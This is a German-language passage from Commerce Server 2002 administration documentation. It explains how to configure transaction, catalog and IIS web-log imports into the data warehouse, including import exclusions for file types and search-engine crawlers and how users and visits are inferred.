Commerce Server importiert alle Transaktions- und Webserverprotokolldaten automatisch in das Data Warehouse. Sie können jedoch mit Commerce Server Business Desk auswählen, welche Katalogdaten in das Data Warehouse importiert werden sollen.

Auswählen der Transaktionseigenschaften für den Import

Auswählen der Katalogeigenschaften für den Import

Verarbeiten der neuen Eigenschaften


Auswählen der Transaktionseigenschaften für den Import

Mithilfe der Tabelle TransDimension in der Commerce-Datenbank wählen Sie aus, welche Transaktionseigenschaften bei der Ausführung des DTS-Transaktionsdatenimport-Tasks in das Data Warehouse importiert werden.

Bei diesem Vorgang wird vorausgesetzt, dass sowohl die Commerce-Datenbank als auch das Data Warehouse um eine neue Spalte in den Tabellen KopfzeileBestellformular, EinzelpostenBestellformular, Bestellgruppe oder Bestellgruppenadressen erweitert wurden. Der Name der erweiterten Tabelle in der Commerce-Datenbank muss mit dem Namen der erweiterten Tabelle im Data Warehouse übereinstimmen. Der Name der zu den einzelnen Tabellen hinzugefügten Spalte muss ebenfalls identisch sein.

So wählen Sie die durch den DTS-Transaktionsdatenimport-Task in das Data Warehouse zu importierenden Transaktionseigenschaften aus

  1. Klicken Sie auf Start, zeigen Sie auf Verwaltung, und klicken Sie dann auf Commerce Server-Manager.
  2. Erweitern Sie im Commerce Server-Manager nacheinander Commerce Server-Manager, Microsoft SQL Server und SQL Server-Gruppe, erweitern Sie dann nacheinander den Knoten für den lokalen Server, Datenbanken, die Commerce-Datenbank (beispielsweise Retail_commerce), und klicken Sie anschließend auf Tabellen.
  3. Klicken Sie im Inhaltsbereich des Commerce Server-Managers auf TransDimension, zeigen Sie auf Tabelle öffnen, und klicken Sie dann auf Alle Zeilen zurückgeben.
  4. Die letzte Zeile der Tabelle ist leer. Geben Sie dort die folgenden Daten ein:
    Spaltenname Eingabe
    DimensionName
             Geben Sie den Namen der neuen Spalte ein.
    FieldName
             Geben Sie den Namen der neuen Spalte ein.
    CategoryName
             Geben Sie den Namen der erweiterten Tabelle ein.
    KeyField
             0
    RequiredDim
             1
  5. Klicken Sie auf der Symbolleiste auf die Schaltfläche !, um die Änderungen zu speichern.

Bei der nächsten Ausführung des DTS-Transaktionsdatenimport-Tasks werden die in der erweiterten Spalte der Commerce-Datenbank gespeicherten Daten in die erweiterte Spalte des Data Warehouse importiert.


Auswählen der Katalogeigenschaften für den Import

Mithilfe von Commerce Server Business Desk können Sie auswählen, welche Katalogdaten in das Data Warehouse importiert werden sollen.

So wählen Sie Katalogeigenschaften für den Import in das Data Warehouse aus

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer auf der Symbolleiste auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Eigenschaftsdefinition aus.
  3. Wählen Sie im Bildschirm Eigenschaftsdefinitionen die Eigenschaftsdefinition aus, die Sie in das Data Warehouse importieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  4. Wählen Sie im Bildschirm Eigenschaftsdefinitionen – Eigenschaftsname die Option Daten für Analyse speichern.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Katalogdefinitions-Designer zurückzukehren.
  6. Zum Veröffentlichen der Änderungen in Ihrer Website klicken Sie auf Katalog-Editor. Dann klicken Sie auf der Symbolleiste auf Katalog veröffentlichen.

Daten für diese Katalogeigenschaft werden in der Commerce Server-Datenbank erfasst.

Hinweise

  • Weder der Name noch der Typ von Eigenschaften können in einer Katalogdefinition geändert werden. Sie können jedoch die Eigenschaft löschen und sie mit einem neuen Namen und Typ wieder hinzufügen.
  • Um das Data Warehouse-Schema so zu erweitern, dass Sie andere Datentypen importieren können, müssen Sie Commerce Server 2002 Enterprise Edition verwenden. Diese Funktionalität ist in Commerce Server 2002 Standard Edition nicht verfügbar.


Verarbeiten der neuen Eigenschaften

Nachdem Sie die neuen Eigenschaften in Ihrer Website zur Verfügung gestellt haben, können Sie den DTS-Produktkatalogimport-Task ausführen. Durch diesen DTS-Task werden die neuen Eigenschaften wie folgt verarbeitet:

  1. Der DTS-Task vergleicht das vorhandene Data Warehouse-Schema mit dem Katalogschema.
  2. Der DTS-Task fügt je nach Bedarf neue Spalten zum Data Warehouse-Schema hinzu. Anschließend werden die Daten in das Data Warehouse importiert. Durch einen inkrementellen Import werden Werte nur für die jeweils neuen Spalten hinzugefügt; bei einem vollständigen Importvorgang werden hingegen sämtliche Daten erfasst.
  3. Der DTS-Task erstellt automatisch die neue Data Warehouse-Klasse und das/die Element(e) für die neuen Eigenschaften. Der DTS-Task erstellt jedoch keine Beziehungen im Data Warehouse.


Ändern der Zeitzone und des Wochenbeginns für die importierten Daten

Beim Import von Zeitdaten in das Data Warehouse wird diesen Daten eine Zeitzone und ein Tag für den Wochenbeginn zugewiesen.

Standardmäßig übernimmt das Data Warehouse die Zeitzone und den Wochenanfangstag von Microsoft SQL Server. Zusätzlich können Sie die Zeitzone und den ersten Tag der Woche, die das Data Warehouse den importierten Zeitdaten zuweist, konfigurieren.

So ändern Sie die Zeitzone und den ersten Tag der Woche

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Data Warehouse, und klicken Sie dann auf Eigenschaften.
  2. Nehmen Sie im Dialogfeld Eigenschaften von Data Warehouse auf der Registerkarte Uhrzeit die folgenden Einstellungen vor:
    Funktion | Aktion
    Zeitzone anpassen an | Wählen Sie in der Dropdownliste die gewünschte Zeitzone aus.
    Erster Tag der Woche | Wählen Sie in der Dropdownliste den ersten Tag der Woche aus.
  3. Klicken Sie auf OK, um die vorgenommenen Änderungen zu speichern.

    Hinweis

    • Der in SQL Server festgelegte erste Tag der Woche wird in Berichten verwendet. Der erste Tag der Woche, den Sie im Dialogfeld Eigenschaften von Data Warehouse festlegen, dient hingegen dazu, die aus Webprotokolldateien importierten Daten wöchentlich zu aggregieren.


Konfigurieren der Standardeigenschaften einer Website für den Import

Bevor Sie Webprotokolldateien in das Data Warehouse importieren können, müssen Sie zunächst die Eigenschaften der Webprotokolldateien so konfigurieren, dass diese im Protokolldateiformat nach dem W3C-Standard (World Wide Web Consortium) vorliegen. Zum Konfigurieren der Eigenschaften der Webprotokolldateien verwenden Sie den Internetdienste-Manager.

So konfigurieren Sie die Standardeigenschaften einer Website für den Import

  1. Erweitern Sie nacheinander Internet-Informationsdienste und den Server, auf dem Sie die Site entpackt haben, klicken Sie mit der rechten Maustaste auf die Standardwebsite, und klicken Sie dann auf Eigenschaften.
  2. Nehmen Sie im Dialogfeld Standardwebsite-Eigenschaften auf der Registerkarte Website die folgenden Einstellungen vor:
    Funktion | Aktion
    Protokollierung aktivieren | Aktivieren Sie dieses Kontrollkästchen, wenn die Aktivität in der Website in einem Protokoll aufgezeichnet werden soll.
    Aktives Protokollformat | Wählen Sie in der Dropdownliste den Eintrag Erweitertes W3C-Protokolldateiformat aus.
  3. Klicken Sie auf Eigenschaften.
  4. Nehmen Sie im Dialogfeld Erweiterte Protokollierungseigenschaften auf der Registerkarte Erweiterte Eigenschaften die folgenden Einstellungen vor:
    Eigenschaft | Importierte Daten
    Datum | Der Tag, an dem es zu einer Aktivität in der Website gekommen ist.
    Uhrzeit | Die Uhrzeit, zu der die Aktivität aufgetreten ist.
    Client-IP-Adresse | Die IP-Adresse des Clients, der auf den Server zugegriffen hat.
    User Name | Der Name des Benutzers, der auf den Server zugegriffen hat.
    Server-IP-Adresse | Die IP-Adresse des Servers, auf dem der Protokolleintrag generiert wurde.
    Serveranschluss | Die Anschlussnummer, über die der Client verbunden ist.
    Methode | Die Aktion, die der Client versuchte auszuführen (z. B. Öffnen einer Webseite).
    URI-Stamm | Der URI-Stamm (Uniform Resource Identifier) der Ressource, auf die zugegriffen wurde, beispielsweise einer HTML-Seite.
    URI-Abfrage | Die Abfrage, die der Client ggf. versuchte auszuführen. Beispielsweise eine Suchzeichenfolge, für die der Client eine Übereinstimmung gesucht hat.
    HTTP-Status | Der Status der Aktion in für HTTP üblichen Begriffen.
    Win32-Status | Der Status der Aktion in den für Microsoft Windows üblichen Begriffen.
    Bytes gesendet | Die Anzahl Bytes, die der Server gesendet hat.
    Bytes empfangen | Die Anzahl Bytes, die der Server empfangen hat.
    Benutzer-Agent | Der auf dem Client verwendete Browser.
    Cookie | Der Inhalt des gesendeten bzw. empfangenen Cookies.
    Verweiser | Die Site, die den Benutzer zu der aktuellen Site geführt hat.

    Wichtig

    • Webprotokolldateien werden nur fehlerfrei importiert, wenn Sie Client-IP-Adresse, URI-Stamm und Uhrzeit ausgewählt haben. Wählen Sie auch die Eigenschaft Datum aus, um sicherzugehen, dass Datumsangaben in Berichten richtig erscheinen. Informationen zum Festlegen der Webservereigenschaften finden Sie unter Konfigurieren eines Webservers.
    • Aktivieren Sie nicht die Option Lokale Zeit für Dateibenennung und Rollover verwenden. Im Data Warehouse müssen die Protokolldateinamen in Greenwich Mean Time (GMT) vorliegen. Das Aktivieren dieser Option kann dazu führen, dass einige Protokolldateien nicht importiert werden.
  5. Klicken Sie auf OK, um das Dialogfeld Erweiterte Protokollierungseigenschaften zu schließen, und klicken Sie dann erneut auf OK, um auch das Dialogfeld Standardwebsite-Eigenschaften zu schließen.

Die Eigenschaften der Webprotokolldateien sind nun im W3C-Protokolldateiformat konfiguriert.

Nachdem Sie die Standardeigenschaften der Website für den Import in das Data Warehouse konfiguriert haben, müssen Sie die IIS-Eigenschaften im Commerce Server-Manager mit den Eigenschaften in der IIS-Metabasis und im Data Warehouse synchronisieren. Anweisungen zum Synchronisieren der IIS-Eigenschaften mit dem Data Warehouse finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Siehe auch

Problembehandlung beim Data Warehouse-Importvorgang


Angeben des Speicherortes einer Protokolldatei im Data Warehouse

Führen Sie die folgenden Schritte aus, um im Data Warehouse den Speicherort einer Protokolldatei anzugeben, die importiert werden soll.

So geben Sie im Data Warehouse den Speicherort einer Protokolldatei an

  1. Erweitern Sie nacheinander Internetinformationsdienste und den Servernamen, klicken Sie mit der rechten Maustaste auf Standardwebsite, und klicken Sie dann auf Eigenschaften.
  2. Klicken Sie im Dialogfeld Standardwebsite-Eigenschaften auf Eigenschaften.
  3. Geben Sie im Dialogfeld Erweiterte Protokollierungseigenschaften auf der Registerkarte Allgemeine Eigenschaften im Feld Protokolldateiverzeichnis den Pfad des Protokolldateiverzeichnisses ein.
  4. Klicken Sie auf OK, um das Dialogfeld Eigenschaften der Protokolldatei zu schließen, und klicken Sie dann erneut auf OK, um auch das Dialogfeld Standardwebsite-Eigenschaften zu schließen.

Das Data Warehouse kann nun die Protokolldatei für die Website finden.

Siehe auch

Konfigurieren eines Webservers

Konfigurieren einer Anwendung

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site

Ausführen des DTS-Konfigurationssynchronisations-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Konfigurieren des DTS-Webserverprotokollimport-Tasks

Sie können sieben Eigenschaftsgruppen konfigurieren, um zu steuern und anzupassen, welche Daten in welcher Form aus den Webprotokolldateien in das Data Warehouse importiert werden. Die Einstellungen, die Sie für diese Eigenschaften auswählen, können positive Auswirkungen auf die Datenanalyse haben und zudem die Importprozesse beschleunigen und die Verwaltung des Data Warehouse erleichtern.

Hinweis

  • Sofern nichts anderes angegeben ist, gelten die Einstellungen für alle Anwendungen in der Site und alle im Zusammenhang mit dem Data Warehouse stehenden Sites.

Anhand der folgenden Eigenschaftsgruppen steuern Sie, welche Daten aus den Webprotokolldateien in das Data Warehouse importiert werden.

  • Festlegen der standardmäßigen Webprotokolldateien. Hiermit wird gewährleistet, dass die Zugriffszahlen für einmalige Besucher der Standardseite Ihrer Site genau sind, wobei auch Umleitungen und mehrere Versionen des URLs berücksichtigt werden.
  • Festlegen der Ausschlüsse für Webprotokolldateien. Hiermit wird verhindert, dass die folgenden Daten in das Data Warehouse importiert werden: Zugriffe von bestimmten Hosts, Anforderungen für bestimmte Dateitypen oder Ausdrücke sowie Zugriffe durch Suchmaschinen.
  • Festlegen der Benutzerrückschlüsse für Webprotokolldateien. Hiermit können Sie die Annahmen anpassen, die während des Imports in Bezug auf Benutzer und Besuche vorausgesetzt werden, sodass die Analyseanforderungen Ihrer Organisation bestmöglich erfüllt werden.
  • Festlegen der Besuchsrückschlüsse für Webprotokolldateien. Hiermit können Sie die Annahmen anpassen, die während des Imports in Bezug auf Benutzer und Besuche vorausgesetzt werden, sodass die Analyseanforderungen Ihrer Organisation bestmöglich erfüllt werden.
  • Festlegen der Eigenschaften "Überlappen" und "Drehung". Hiermit können Sie die Reaktion auf Zeitüberlappungen in Protokolldateien anpassen.
  • Festlegen der Importeigenschaften von Abfragezeichenfolgen für Webprotokolldateien. Hiermit können Sie Abfragezeichenfolgen für Websites importieren, sodass die mit diesen verbundenen Daten analysiert werden können.
  • Festlegen der Eigenschaften für den Neustart des Webprotokollimports. Hiermit können Sie festlegen, dass Protokollimportvorgänge automatisch neu gestartet werden, falls eine fehlerhafte Protokolldatei gefunden wird.

Siehe auch

Ausführen des DTS-Konfigurationssynchronisations-Tasks

Importieren von Daten in das Data Warehouse

Ausführen des DTS-Berichtsvorbereitungstasks


Festlegen der standardmäßigen Webprotokolldateien

Bei einer Standarddatei, auch als Verzeichnisindexdatei oder Homepage bezeichnet, handelt es sich um die Webseite, auf die Benutzer zunächst gelangen, wenn sie in der Adresszeile des Browsers einen Site-URL eingeben, der keinen bestimmten Dateinamen enthält. So gelangen Benutzer beispielsweise zur Seite www.microsoft/default.htm, wenn sie im Browser entweder www.microsoft.com oder www.microsoft.com/default.htm eingeben. In Webprotokolldateien werden die beiden URLs jedoch als Zugriffe auf zwei verschiedene Seiten gezählt.

Sie können die Option Std.-Dateien in Commerce Server 2002 so einstellen, dass mehrere URLs als Zugriffe auf dieselbe Seite gezählt werden. Mithilfe dieser Option können Sie Umleitungen und mehrere Pfade zu Ihrer Site erstellen, ohne dass die Genauigkeit der Gesamtbenutzerstatistik für die Site darunter leidet.

Zusätzlich können Sie wahlweise Dateinamenszeichenfolgen ohne Angabe der obersten Verzeichnisse anzeigen, bevor sie importiert werden. Durch diese Vorgehensweise erleichtern Sie sich die Arbeit mit Ihren Dateien, wenn die Verzeichnisse der Site in einem Unterverzeichnis gespeichert sind, über das Sie in den Berichten keine Angaben benötigen.

Für Internetinformationsdienste (IIS) 5.0 wird diese Einstellung automatisch während der Installation mit den in IIS aufgeführten grundlegenden URL-Verzeichnisindexdateien synchronisiert.

Hinweise

  • Nach Abschluss dieser Prozedur müssen Sie den DTS-Konfigurationssynchronisations-Task ausführen, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen, bevor Sie Daten in das Data Warehouse importieren.
  • Für andere Server lauten die Standardeinstellungen Index.html, Index.htm, und Default.htm. Falls diese Einstellungen für Ihre Site nicht richtig sind, ändern Sie sie, um sicherzustellen, dass die Anzahl der Anforderungen genau erfasst wird.

So stellen Sie eine Verzeichnisindexdatei ein

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Nehmen Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Std.-Dateien die folgenden Einstellungen vor:
    Funktion | Aktion
    Oberstes Verzeichnis von Dateisystempfaden entfernen | Aktivieren Sie dieses Kontrollkästchen, damit Dateinamenszeichenfolgen ohne Angabe der obersten Verzeichnisse angezeigt werden.
    Es werden Sitzungen ohne .NET-Cookies von der Site verwendet. | Aktivieren Sie dieses Kontrollkästchen, wenn die Site Sitzungen ohne .NET-Cookies verwendet.
    Verzeichnisindexdatei | Geben Sie den Namen der Datei ein, die als Verzeichnisindexdatei verwendet werden soll.
    Hinzufügen | Klicken Sie hierauf, um die neue Verzeichnisindexdatei der Liste der Standarddateien hinzuzufügen.
  6. Klicken Sie auf Übernehmen und anschließend auf OK.

    Die Verzeichnisindexdateien für den Importprozess für Webprotokolldateien sind nun festgelegt.

  7. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt Daten in das Data Warehouse importieren.

Siehe auch

Ausführen des DTS-Konfigurationssynchronisations-Tasks

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Importieren von Daten in das Data Warehouse

Problembehandlung beim Data Warehouse-Importvorgang


Festlegen der Ausschlüsse für Webprotokolldateien

Sie können beim Importieren bestimmte Datentypen ausschließen. Durch das Ausschließen bestimmter Daten können Sie das Data Warehouse auf einer Größe halten, bei der die Verwaltung noch problemlos möglich ist. Zudem können auf diese Weise Seitenanforderungen in Berichten genauer definiert werden. Die folgenden Datentypen können ausgeschlossen werden:

  • Hosts. Sie können Daten von Benutzern ausschließen, die von bestimmten Hosts aus zugreifen (z. B. Mitarbeiter oder Softwaretester). Diese Funktion wird in der Regel eingesetzt, um interne Hosts auszuschließen. Sie können jedoch auch jeden anderen Host für den Ausschluss angeben.

    Zugriffe von ausgeschlossenen Hosts aus werden nicht in das Data Warehouse importiert. Dennoch werden auch solche Zugriffe in manchen aggregierten Berichten berücksichtigt, z. B. in den Berichten Zusammenfassung der Zugriffsanzahl und Zusammenfassung der Bandbreite.

    Wenn Sie einen auszuschließenden Hostnamen eingeben, müssen Sie in Commerce Server 2002 eine Zeichenfolge angeben, anhand derer das Programm die Protokolldateien durchsuchen kann. So werden beispielsweise bei Eingabe von www.microsoft.com Informationen von Benutzern ausgeschlossen, deren Host www.microsoft.com ist. Leerzeichen sind in den eingegebenen Namen nicht zulässig.

  • Dateitypen. Auch wenn eine Seite Ihrer Website mehrere Dateien umfassen kann, ist es sinnvoll, dass nicht für jede Datei der Seite ein Zugriff gezählt wird, sondern nur eine Seitenanforderung. Enthält z. B. eine Seite Grafiken, die in separaten Dateien gespeichert sind, logisch jedoch einen Teil der Seite ausmachen, schließen Sie die Grafikdateien vom Import aus, um genauere Zugriffszahlen zu erhalten. Wenn Sie die Eigenschaft Ausgeschlossen festlegen, um Dateien vom Import auszuschließen, geben Sie die Dateinamenerweiterungen der auszuschließenden Dateitypen an.

    Standardmäßig werden Dateien mit den Erweiterungen .GIF, .JPG, .JPEG, .CSS und .CDF von Commerce Server-Importen ausgenommen. Sie können aber auch Dateinamenerweiterungen aus der Ausschlussliste entfernen. Der eingegebene Name ist die Zeichenfolge, nach der Commerce Server die Protokolldateien durchsucht. Achten Sie daher unbedingt darauf, die Erweiterung korrekt einzugeben.

  • Dateiausdrücke. Sie können Dateien nicht nur anhand ihrer Namenerweiterung vom Import ausschließen, sondern auch anhand des Dateipfades. Dabei können Sie entweder einen vollständigen Dateiausdruck für eine einzelne Datei eingeben oder aber Platzhalterzeichen verwenden, um eine ganze Gruppe von Dateien auszuschließen, deren Ausdrücke übereinstimmende Zeichen enthalten.

    Bei Dateiausdrücken wird nicht zwischen Groß- und Kleinschreibung unterschieden. Unterstriche (_) und Leerzeichen sind nicht zulässig. Geben Sie stets genau die Zeichenfolge ein, nach der Commerce Server suchen soll.

    Der folgenden Tabelle können Sie die Platzhalterzeichen entnehmen, die in Dateiausdrücken verwendet werden können.

    Zeichen Beschreibung Beispiel
    * Steht für beliebig viele Zeichen in einer Zeichenfolge. t* kann für Test, total und toll stehen.
    ? Steht für ein einzelnes alphanumerisches Zeichen. Te?t kann für Test und Text stehen.
  • Suchmaschinen. Suchmodule sind von Suchmaschinen abhängig, die das World Wide Web durchlaufen und nach bestimmten Inhalten, Titeln, Schlüsselwörtern usw. suchen. Suchmaschinen werden standardmäßig vom Import ausgeschlossen, um zu verhindern, dass Zugriffe durch Internetsuchmodule, Roboter und andere Benutzer-Agenten in das Data Warehouse importiert werden. (In bestimmten Berichten wie Zusammenfassung der Zugriffsanzahl und Zusammenfassung der Bandbreite erscheinen solche Zugriffe jedoch.)

    In der Datei Crawler.ini. im Stammverzeichnis von Commerce Server finden Sie eine Liste der Suchmaschinen, die standardmäßig ausgeschlossen sind. Diese Standardliste umfasst die wichtigsten Suchmaschinen, die auch von den großen für die Webüberwachung zuständigen Organisationen ausgeschlossen werden. Sie können der Ausschlussliste neue Suchmaschinen hinzufügen oder ausgeschlossene Suchmaschinen für den Import zulassen. Letzteres kann sich jedoch negativ auf die Systemleistung auswirken.

Auf der Registerkarte Ausgeschlossen im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften finden Sie eine Dropdownliste, in der Sie die Datentypen auswählen können, mit denen Sie arbeiten möchten. Wählen Sie in der Liste die Option Alle aus, um eine Liste aller Ausschlüsse anzuzeigen.

Wenn Sie Daten vom Import ausschließen, gilt der Ausschluss dieser Daten standardmäßig für alle in der Site ausgeführten Anwendungen. Sie können aber auch Daten für bestimmte Anwendungen ausschließen, während die gleichen Daten bei anderen Anwendungen in der Site einbezogen werden.

Wenn in Ihrer Site beispielsweise die beiden Programme Anwendung1 und Anwendung2 integriert sind und jede dieser Anwendungen über ein Verzeichnis mit der Bezeichnung /Beispiele verfügt, können Sie den Inhalt dieser Verzeichnisse für beide Anwendungen ausschließen oder festlegen, dass nur Daten aus dem Verzeichnis /Beispiele von Anwendung1 ausgeschlossen werden sollen. In diesem Fall wird der Inhalt des Verzeichnisses /Beispiele von Anwendung 2 auch weiterhin importiert.

Hinweis

  • Nach Abschluss dieser Prozedur müssen Sie Ihre Sitekonfiguration mit dem Data Warehouse abgleichen, bevor Sie Daten in das Data Warehouse importieren.

So fügen Sie einen Importausschluss hinzu

So löschen Sie einen Importausschluss

So fügen Sie einen Importausschluss hinzu

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Nehmen Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Ausgeschlossen die folgenden Einstellungen vor:
    Funktion | Aktion
    Standardsuchmaschinenliste für die Ausschlusskriterien einschließen | Aktivieren Sie dieses Kontrollkästchen, um den Import von Suchmaschinen von der Standardsuchmaschinenliste zu verhindern.
    Hinzufügen | Klicken Sie hierauf, um das Dialogfeld Ausgeschlossen zu öffnen und ein neues Ausschlusselement zu erstellen.
  6. Nehmen Sie im Dialogfeld Ausgeschlossen die folgenden Einstellungen vor:
    Funktion | Aktion
    Markieren Sie die Ausschlusskategorie | Wählen Sie in der Dropdownliste den Typ des hinzuzufügenden Ausschlusses aus.
    Name | Geben Sie die Zeichenfolge ein, nach der Commerce Server die Protokolldateien durchsuchen soll. Zum Ausschließen von Grafikdateien geben Sie beispielsweise *.GIF ein. Commerce Server importiert keine Elemente, die der eingegebenen Zeichenfolge entsprechen. Leerzeichen dürfen in der Zeichenfolge nicht enthalten sein.
    Alle Anwendungen in einer Site | Wählen Sie diese Option aus, wenn das Element von allen Anwendungen innerhalb einer Site ausgeschlossen werden soll.
    Ausgewählte Anwendungen in einer Site | Wählen Sie diese Option aus, wenn das Element nur von einer bestimmten Anwendung ausgeschlossen werden soll.
    Alle auswählen | Wählen Sie diese Option aus, um die Daten von allen oberhalb der Schaltfläche aufgeführten Anwendungen auszuschließen.
    Auswahl aufheben | Wählen Sie diese Option aus, um die Auswahl aller oberhalb der Schaltfläche aufgeführten Anwendungen aufzuheben.
  7. Klicken Sie auf OK, um das Dialogfeld Ausgeschlossen zu schließen und zur Registerkarte Ausgeschlossen des Dialogfelds Erweiterte Webprotokollimport-Eigenschaften zurückzukehren.
  8. Fügen Sie weitere Ausschlüsse hinzu. Klicken Sie abschließend auf Übernehmen, und klicken Sie auf OK, um die vorgenommenen Änderungen zu speichern und das Dialogfeld zu schließen.

    Die Importausschlüsse für den Importprozess für Webprotokolldateien sind nun konfiguriert.

  9. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt Daten in das Data Warehouse importieren.

So löschen Sie einen Importausschluss

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Import von Webserverprotokollen (Commerce Server).
  4. Klicken Sie im Dialogfeld Webserverprotokolle importieren auf Erweitert.
  5. Nehmen Sie im Dialogfeld Erweiterte Webprotokollimport-Eigenschaften auf der Registerkarte Ausgeschlossen die folgenden Einstellungen vor:
    Funktion | Aktion
    Ausschlusstyp | Wählen Sie das zu löschende Ausschlusselement aus.
    Entfernen | Entfernen Sie das Ausschlusselement.
  6. Klicken Sie auf Übernehmen und anschließend auf OK, um das Dialogfeld zu schließen.

    Die Importausschlüsse für den Importprozess für Webprotokolldateien sind nun konfiguriert.

  7. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

Sie können jetzt Daten in das Data Warehouse importieren.

Siehe auch

Ausführen des DTS-Konfigurationssynchronisations-Tasks

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Importieren von Daten in das Data Warehouse

Problembehandlung beim Data Warehouse-Importvorgang


Genauigkeit von Rückschlüssen

In Commerce Server 2002 wird der Datenverkehr in einer Website anhand von Benutzerbesuchen analysiert. Ein Besuch kann als Gruppe von Anforderungen desselben Benutzers innerhalb eines festgelegten Zeitraums definiert werden. Bei der Identifizierung von Benutzern treten jedoch gewisse Ungenauigkeiten auf, da die Webclientcomputer Daten nur in begrenztem Umfang an den Webservercomputer senden. Commerce Server versucht, Benutzer anhand der Eigenschaften in der Webprotokolldatei zu identifizieren. Die Identifizierung von Benutzern anhand von Daten über Benutzer und Besuche aus der Webprotokolldatei wird als Rückschluss bezeichnet.

Die Genauigkeit dieser Rückschlüsse ist von den verfügbaren Daten abhängig. Um höchste Genauigkeit zu erreichen, verwendet Commerce Server bei jedem Zugriff einen prioritätsabhängigen Algorithmus für Benutzerrückschlüsse:

  • Wenn die Zugriffe über Commerce Server-Cookies oder benutzerdefinierte Cookies bzw. Benutzernamen erfolgen, wird die Genauigkeit als hoch bewertet, da die Benutzer explizit identifiziert werden können: sie haben die Verwendung von Cookies aktiviert, sie befinden sich innerhalb einer Domäne, oder Ihre Site verwendet AuthManager, sodass ein Einkauf ohne Cookies unterstützt wird.
  • Wenn die Zugriffe keine Cookies oder Benutzernamen beinhalten, verwendet Commerce Server zur Identifizierung der Benutzer eine Kombination aus der IP-Adresse und den Browseragenten des Clients. In diesem Szenario ist die Genauigkeit nicht messbar.
  • Wenn die Client-IP-Adressen in eine einzelne IP-Adresse umgewandelt werden, verwenden Sie beim Import der Webserverprotokolle entweder Cookies oder Benutzernamen für die abgeleiteten Benutzer.

    Zwei DTS-Tasks sind von IP-Konvertierungen betroffen:

    • Webserverprotokollimport-Task. Wenn beim Ableiten von Benutzern die IP-Adresse mehrerer Benutzer in eine einzelne IP-Adresse umgewandelt wird und diese Benutzer denselben Browser verwenden, werden sie auch als ein und derselbe Benutzer behandelt.

      Wenn beispielsweise die IP-Adresse von zehn Benutzern in eine einzelne IP-Adresse konvertiert wird und jeweils fünf dieser Benutzer Browser A bzw. Browser B verwenden, werden diese zehn Benutzer als zwei Benutzer angesehen. Zu diesem Ergebnis kommt es, wenn Benutzer anhand der IP-Adresse und des Browsertyps (anstelle von Cookies oder Benutzernamen) abgeleitet werden.

    • IP-Auflösungstask. Wenn mehrere IP-Adressen zu einer einzelnen IP-Adresse zusammengefasst werden, erhalten Sie unter Umständen keine genauen Domäneninformationen über alle Besucher dieser Site, da durch den IP-Auflösungstask unter Umständen für mehrere Benutzer nur nach einer IP-Adresse gesucht wird.

    Informationen zur Verwendung von Cookies oder Benutzernamen zur Ableitung von Benutzern finden Sie unter Benutzerrückschlüsse.

Sie können im Data Warehouse Rückschlüsse auf Benutzer und Besuche festlegen und auf diese Weise anpassen, welche Annahmen während des Imports in Bezug auf Benutzer und Besuche vorausgesetzt werden, sodass Ihre Analyseanforderungen bestmöglich erfüllt werden.

Hinweis

